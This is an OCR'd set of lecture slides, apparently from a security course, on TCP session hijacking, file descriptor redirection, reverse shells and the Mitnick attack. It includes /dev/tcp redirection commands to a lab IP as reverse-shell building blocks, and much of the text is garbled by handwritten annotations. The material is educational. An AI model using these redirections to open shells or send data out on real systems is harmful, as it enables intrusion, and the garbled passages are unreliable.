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Day 25: Reverse Shell and TCP
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TCP Session Hijacking

1 Non-DoS attack
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d What prevents an attacker from injecting data
into a stream?

1 What does the attacker have to do?
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Injecting the Data

A Inject the data at a future location v
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What command to inject?

d Would ideally like to create a shell

@in/baﬁ\

0 But where does the input/come from? Beadte madinc

d Where does the output go to? Plaku madnine



Process File Descriptors
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d Each process has a set of standard file > Sondad o
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d Mapping for file descriptors in fd table
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File Descriptors - ,,
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noureddi@attacker:~$ 1s -1 /proc/3683/fd

total X

/ w%A‘-
lrwx------ 1 noureddi csse490 64 Apr 24 18:35 0 >y dev/pts/0

NSl

S
lrwx------ 1 noureddi csse490 64 Apr 24 18:35 1 ->k/dev/pts/0

2

s

lrwx------ 1 noureddi csse490 64 Apr 24 18:35 2 -> |/dev/pts/0

lrwx------ 1 noureddi csse490 64 Apr 24 18:36 255 -> /dev/pts/f—///




1/0 Redirection

 Can change the mappings for file descriptors
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1/O Redirection Demo

 Redirect the input and out of cat
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Redirect to TCP

: YR o
1 Can create TCP connections lo\"" R Qo
Cee e o0 Nd\b"'
®

d Can redirect the input/output of processes

d Combine the two for maximum impact



Redirecting cat to TCP

cat 90</dev/tcp/10.1.1.4/9090

cat > /dev/tcp/10.1.1.4/9090

cat > /dev/tcp/10.1.1.4/9090 0<&1



Reverse Shell

d What can we do with the redirection strategy?

1 Create a bash shell and @direct its I/@ -




52.( ve! Ai\'o\f)'( e ) SL{\I(\/

ORI aeive 5\ @>§
Seyver c,\i&'\\' ? @

\o U\SVA
W e

—




The Mitnick Attack

U8 Deg i of
[ISPNE SRS TR FOE.

WANTED

SL 1P PRI PRI Bl e YO B SREL B RO ek LTl e e | LT
) R e el el PP W el VT

e

s

BAME: o oanen oans e STTEICE, FETTH DETTE

AEELL L me s e s JEFPLL, DET IR mEIE
TIEE L. BELEH ALLEN

[FE 2T BF1S
Fppare rmpare e rreamenne TR
[T, sor e g (WTTPR
LoEE B
Dl d il B3 Dl D
[LT R i
e
[ =
M. . NC o]
fomr e kil
S, i SO, W
! Cmr i | g

AH-
M Hmpworis inliyree - I_ll:nu:__in-in-

AEFETIANDPLEELL A T @rTLE IF TR [N FITEAEE TRUTLET EYRA, G DALLEOREL A
LAh G, BRI

e T 1 p———
S vl Ll :ﬂl’l.l.l.llEI.'l'll.l.'l Pl b
Woomm Moy F1L3 0155 100

“rF ] W ETERLE LY L
i e — +

——— - -_—— -
LSRR LTI U WIS MO s LT PR W ELT R TR IR

- T T T
R FTa T DM AT RO e CT0n CEER LD Tl R s

L Tl m  Gld-Ter-difa
e s i B i ot i ot D el e et i L
Prlapires JIEGRHAT I HEELE L] o i L
e, O i SR 22T P T b b

Peavzalon raue



The Mltnlch Attach\, K e,

SYs-R "
\k x\\ﬁ"

_)ﬁi?ﬁ;} \ ‘w\/(s\n \g D




